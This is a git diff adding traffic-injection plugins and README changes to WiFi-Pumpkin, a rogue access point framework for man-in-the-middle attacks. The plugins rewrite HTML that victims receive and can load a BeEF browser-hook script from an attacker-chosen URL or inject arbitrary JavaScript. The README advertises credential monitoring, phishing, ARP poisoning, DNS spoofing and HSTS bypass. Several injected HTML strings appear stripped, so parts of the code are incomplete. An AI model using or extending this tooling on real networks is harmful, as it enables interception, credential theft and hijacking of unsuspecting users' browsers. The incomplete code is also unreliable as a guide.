a/Proxy/Plugin.py b/Proxy/Plugin.py new file mode 100644 index 0000000..df1aca3 --- /dev/null +++ b/Proxy/Plugin.py @@ -0,0 +1,16 @@ +import logging +from Core.Utils import setup_logger + +class PluginProxy(object): + '''' Main class Modules ''' + + def inject(self, data, url): + pass + + def setInjectionCode(self, code): + pass + + def LoggerInjector(self): + setup_logger('injectionPage', + './Logs/AccessPoint/injectionPage.log') + self.logging = logging.getLogger('injectionPage') \ No newline at end of file diff --git a/Proxy/__init__.py b/Proxy/__init__.py new file mode 100644 index 0000000..3ac5a27 --- /dev/null +++ b/Proxy/__init__.py @@ -0,0 +1,4 @@ +#from http://stackoverflow.com/questions/1057431/loading-all-modules-in-a-folder-in-python +import os +import glob +__all__ = [ os.path.basename(f)[:-3] for f in glob.glob(os.path.dirname(__file__)+"/*.py")] \ No newline at end of file diff --git a/Proxy/background.py b/Proxy/background.py new file mode 100644 index 0000000..eeb6657 --- /dev/null +++ b/Proxy/background.py @@ -0,0 +1,32 @@ +from Plugin import PluginProxy + +class background(PluginProxy): + ''' this module proxy add image background on html page.''' + _name = 'background' + _argsname = 'Url:' + _activated = False + _instance = None + _requiresArgs = True + + @staticmethod + def getInstance(): + if background._instance is None: + background._instance = background() + return background._instance + + def __init__(self): + self.LoggerInjector() + self.url_image = None + + def setInjectionCode(self, code): + self.url_image = code + + def inject(self, data, url): + injection_code = ''' + '''%(self.url_image) + self.logging.info("Injected: %s" % (url)) + return data.replace('',injection_code) diff --git a/Proxy/beef.py b/Proxy/beef.py new file mode 100644 index 0000000..1749be8 --- /dev/null +++ b/Proxy/beef.py @@ -0,0 +1,27 @@ +from Plugin import PluginProxy + +class beef(PluginProxy): + ''' this module proxy inject hook beef api.''' + _name = 'beef_hook' + _argsname = 'Url:' + _activated = False + _instance = None + _requiresArgs = True + + @staticmethod + def getInstance(): + if beef._instance is None: + beef._instance = beef() + return beef._instance + + def __init__(self): + self.LoggerInjector() + self.hook_url = None + + def setInjectionCode(self, code): + self.hook_url = code + + def inject(self, data, url): + injection_code = ''.format(self.hook_url) + self.logging.info("Injected: %s" % (url)) + return data.replace('', '{}'.format(injection_code)) diff --git a/Proxy/blurpage.py b/Proxy/blurpage.py new file mode 100644 index 0000000..4df5f4c --- /dev/null +++ b/Proxy/blurpage.py @@ -0,0 +1,30 @@ +from Plugin import PluginProxy + +class blurpage(PluginProxy): + ''' this module proxy set blur into body page html response''' + _name = 'blur_page' + _activated = False + _instance = None + _requiresArgs = False + + @staticmethod + def getInstance(): + if blurpage._instance is None: + blurpage._instance = blurpage() + return blurpage._instance + + def __init__(self): + self.LoggerInjector() + self.injection_code = [] + + def setInjectionCode(self, code): + self.injection_code.append(code) + + def inject(self, data, url): + injection_code = ''' ''' + self.logging.info("Injected: %s" % (url)) + return data.replace('',injection_code ) diff --git a/Proxy/css/flipimages.css b/Proxy/css/flipimages.css new file mode 100644 index 0000000..5fbb9db --- /dev/null +++ b/Proxy/css/flipimages.css @@ -0,0 +1,4 @@ +img { + -webkit-transform: rotate(180deg); + transform: rotate(180deg); +} \ No newline at end of file diff --git a/Proxy/css_injection.py b/Proxy/css_injection.py new file mode 100644 index 0000000..9ad1b78 --- /dev/null +++ b/Proxy/css_injection.py @@ -0,0 +1,32 @@ +from Plugin import PluginProxy + +class InjectorCSS(PluginProxy): + """ inject CSS files inside HTML pages """ + _name = 'inject_css' + _argsname = 'FilePath:' + _activated = False + _instance = None + _requiresArgs = True + + @staticmethod + def getInstance(): + if InjectorCSS._instance is None: + InjectorCSS._instance = InjectorCSS() + + return InjectorCSS._instance + + def __init__(self): + self.LoggerInjector() + self.injection_code = [] + + def setInjectionCode(self, code): + with open(code,'r') as f: + self.injection_code.append(f.read()) + + def inject(self, data, url): + injection_code = ' '.join(self.injection_code) + if (injection_code != ""): + self.logging.info("Injected: %s" % (url)) + return data.replace('', '' % injection_code) + else: + return data diff --git a/Proxy/htmlinjector.py b/Proxy/htmlinjector.py new file mode 100644 index 0000000..fece7d2 --- /dev/null +++ b/Proxy/htmlinjector.py @@ -0,0 +1,33 @@ +from Plugin import PluginProxy + +class HTMLInjector(PluginProxy): + """ This plugins allows you to inject data into the response returned from the web server. + """ + _name = 'html_injector' + _argsname = 'FilePath:' + _activated = False + _instance = None + _requiresArgs = True + + @staticmethod + def getInstance(): + if HTMLInjector._instance is None: + HTMLInjector._instance = HTMLInjector() + + return HTMLInjector._instance + + def __init__(self): + self.LoggerInjector() + self.injection_code = [] + + def setInjectionCode(self, code): + with open(code,'r') as f: + self.injection_code.append(f.read()) + + def inject(self, data, url): + injection_code = ' '.join(self.injection_code) + if (injection_code != ""): + self.logging.info("Injected: %s" % (url)) + return data.replace('', '%s' % injection_code) + else: + return data diff --git a/Proxy/js/shake.js b/Proxy/js/shake.js new file mode 100644 index 0000000..1be9acd --- /dev/null +++ b/Proxy/js/shake.js @@ -0,0 +1,6 @@ +window.onload=function() { + var move=document.getElementsByTagName("body")[0]; + setInterval(function() { + move.style.marginTop=(move.style.marginTop=="4px")?"-4px":"4px"; + }, 5); +} diff --git a/Proxy/js_injection.py b/Proxy/js_injection.py new file mode 100644 index 0000000..f1e4dbe --- /dev/null +++ b/Proxy/js_injection.py @@ -0,0 +1,32 @@ +from Plugin import PluginProxy + +class InjectorJS(PluginProxy): + """ inject javascript file inside HTML pages. """ + _name = 'inject_js' + _argsname = 'FilePath:' + _activated = False + _instance = None + _requiresArgs = True + + @staticmethod + def getInstance(): + if InjectorJS._instance is None: + InjectorJS._instance = InjectorJS() + + return InjectorJS._instance + + def __init__(self): + self.LoggerInjector() + self.injection_code = [] + + def setInjectionCode(self, code): + with open(code,'r') as f: + self.injection_code.append(f.read()) + + def inject(self, data, url): + injection_code = ' '.join(self.injection_code) + if (injection_code != ""): + self.logging.info("Injected: %s" % (url)) + return data.replace('', '' % injection_code) + else: + return data diff --git a/Proxy/noscroll.py b/Proxy/noscroll.py new file mode 100644 index 0000000..e94345a --- /dev/null +++ b/Proxy/noscroll.py @@ -0,0 +1,29 @@ +from Plugin import PluginProxy + +class noscroll(PluginProxy): + ''' this module proxy not work noscroll on html page.''' + _name = 'noscroll' + _activated = False + _instance = None + _requiresArgs = False + + @staticmethod + def getInstance(): + if noscroll._instance is None: + noscroll._instance = noscroll() + return noscroll._instance + + def __init__(self): + self.LoggerInjector() + self.args = None + + def setInjectionCode(self, code): + self.args = code + + def inject(self, data, url): + injection_code = ''' +
''' + self.logging.info("Injected: %s" % (url)) + return data.replace('',injection_code) + + diff --git a/Proxy/shakepage.py b/Proxy/shakepage.py new file mode 100644 index 0000000..ffe2580 --- /dev/null +++ b/Proxy/shakepage.py @@ -0,0 +1,33 @@ +from Plugin import PluginProxy + +class shake(PluginProxy): + ''' this module proxy added javascript to shake page.''' + _name = 'shake_page' + _activated = False + _instance = None + _requiresArgs = False + + @staticmethod + def getInstance(): + if shake._instance is None: + shake._instance = shake() + return shake._instance + + def __init__(self): + self.LoggerInjector() + self.args = None + + def setInjectionCode(self, code): + self.args = code + + def inject(self, data, url): + injection_code = '''''' + self.logging.info("Injected: %s" % (url)) + return data.replace('','{}'.format(injection_code)) \ No newline at end of file diff --git a/Proxy/title.py b/Proxy/title.py new file mode 100644 index 0000000..e01ec63 --- /dev/null +++ b/Proxy/title.py @@ -0,0 +1,27 @@ +from Plugin import PluginProxy + +class title(PluginProxy): + ''' this module proxy add title on html page.''' + _name = 'title_change' + _argsname = 'Title:' + _activated = False + _instance = None + _requiresArgs = True + + @staticmethod + def getInstance(): + if title._instance is None: + title._instance = title() + return title._instance + + def __init__(self): + self.LoggerInjector() + self.title = None + + def setInjectionCode(self, code): + self.title = code + + def inject(self, data, url): + injection_code = ' {} '.format(self.title) + self.logging.info("Injected: %s" % (url)) + return data.replace('<title>',injection_code) diff --git a/README.md b/README.md index 28f610a..e452fb8 100644 --- a/README.md +++ b/README.md @@ -1,11 +1,12 @@ +![logo](https://dl.dropboxusercontent.com/u/97321327/evil/logo.png) + WiFi-Pumpkin --- [![build](https://travis-ci.org/P0cL4bs/WiFi-Pumpkin.svg)](https://travis-ci.org/P0cL4bs/WiFi-Pumpkin/) Framework for Rogue Wi-Fi Access Point Attack ### Description -WiFi-Pumpkin is a security tool that provides the Rogue access point to Man-In-The-Middle and network attacks. Purporting to provide wireless Internet services, but snooping on the traffic. Can be used to capture of credentials of unsuspecting users by either snooping the communication by phishing. - +WiFi-Pumpkin is a security tool that provides the Rogue access point to Man-In-The-Middle and network attacks. ### Installation Kali 2.0/WifiSlax 4.11.1/Parrot 2.0.5 @@ -24,23 +25,61 @@ refer to the wiki for [Installation](https://github.com/P0cL4bs/WiFi-Pumpkin/wik * Probe Request Monitor * DHCP Starvation Attack * Credentials Monitor +* Transparent Proxy * Windows Update Attack * Phishing Manager * Partial bypass HSTS -* Dump credentials phishing * Support beef hook -* Report Logs html * Mac Changer * ARP Poison * DNS Spoof -#### Plugins -- [net-creds](https://github.com/DanMcInerney/net-creds) -- [dns2proxy](https://github.com/LeonardoNve/dns2proxy) -- [sslstrip](https://github.com/moxie0/sslstrip) +### Plugins +- [net-creds](https://github.com/DanMcInerney/net-creds) - Sniff passwords and hashes from an interface or pcap file +- [dns2proxy](https://github.com/LeonardoNve/dns2proxy) - This tools offer a different features for post-explotation once you change the DNS server to a Victim. +- [sslstrip](https://github.com/xtr4nge/sslstrip) - Sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping +attacks by xtr4nge based version + +### Transparent Proxy + Transparent proxies that you can use to intercept and manipulate HTTP traffic modifying requests and responses, that allow to inject javascripts into the targets visited. You can easily implement a module to inject data into pages creating a python file in directory "Proxy" automatically will be listed on PumpProxy tab. +### Plugins Example + The following is a sample module that injects some contents into the <head> tag to set blur filter into body html page: + ``` python +from Plugin import PluginProxy + +class blurpage(PluginProxy): + ''' this module proxy set blur into body page html response''' + _name = 'blur_page' + _activated = False + _instance = None + _requiresArgs = False + + @staticmethod + def getInstance(): + if blurpage._instance is None: + blurpage._instance = blurpage() + return blurpage._instance + def __init__(self): + self.LoggerInjector() + self.injection_code = [] + + def setInjectionCode(self, code): + self.injection_code.append(code) + + def inject(self, data, url): + injection_code = '''<head> <style type="text/css"> + body{ + filter: blur(2px); + -webkit-filter: blur(2px);} + </style>''' + self.logging.info("Injected: %s" % (url)) + return data.replace('<head>',injection_code ) + +``` + ### Screenshots -![Tool Home](https://dl.dropboxusercontent.com/u/97321327/evil/evil7.1.png) -![Tool demo](https://dl.dropboxusercontent.com/u/97321327/evil/demo7.1.png) +![Tool Home](https://dl.dropboxusercontent.com/u/97321327/evil/evil7.3.png) +![Tool demo](https://dl.dropboxusercontent.com/u/97321327/evil/demo7.3.png) ### Issues -Find a bug? Want more features? Let us know! Please send [file an issue](https://github.com/P0cL4bs/WiFi-Pumpkin/issues/new) +Find a bug? Want more features? Let us know! Please send [file an issue](https://github.com/P0cL4bs/WiFi-Pumpkin/issues/new) \ No newline at end of file diff --git a/installer.sh b/installer.sh index 19e399f..e793429 100755 --- a/installer.sh +++ b/installer.sh @@ -16,7 +16,7 @@ func_Banner(){ echo ' =============================' echo " |$bldblu wifi-pumpkin Installer$txtrst|" echo ' =============================' - echo " Version: $(tput setaf 5)0.7.1 $txtrst" + echo " Version: $(tput setaf 5)0.7.3 $txtrst" echo "usage: ./installer.sh --install | --uninstall" } diff --git a/rsc/icon.ico b/rsc/icon.ico deleted file mode 100644 index e4c5b95..0000000 Binary files a/rsc/icon.ico and /dev/null differ diff --git a/rsc/logo.png b/rsc/logo.png deleted file mode 100644 index 2416fb7..0000000 Binary files a/rsc/logo.png and /dev/null differ diff --git a/wifi-pumpkin.py b/wifi-pumpkin.py index 266177b..cb0dca4 100755 --- a/wifi-pumpkin.py +++ b/wifi-pumpkin.py @@ -32,7 +32,7 @@ def ExecRootApp(root): app = Initialize() - app.setWindowIcon(QIcon('rsc/icon.ico')) + app.setWindowIcon(QIcon('Icons/icon.ico')) app.center(),app.show() exit(root.exec_()) @@ -41,7 +41,7 @@ def ExecRootApp(root): main = QApplication(argv) if not getuid() == 0: priv = frm_privelege() - priv.setWindowIcon(QIcon('rsc/icon.ico')) + priv.setWindowIcon(QIcon('Icons/icon.ico')) priv.show(),main.exec_() exit(Refactor.threadRoot(priv.Editpassword.text())) ExecRootApp(main)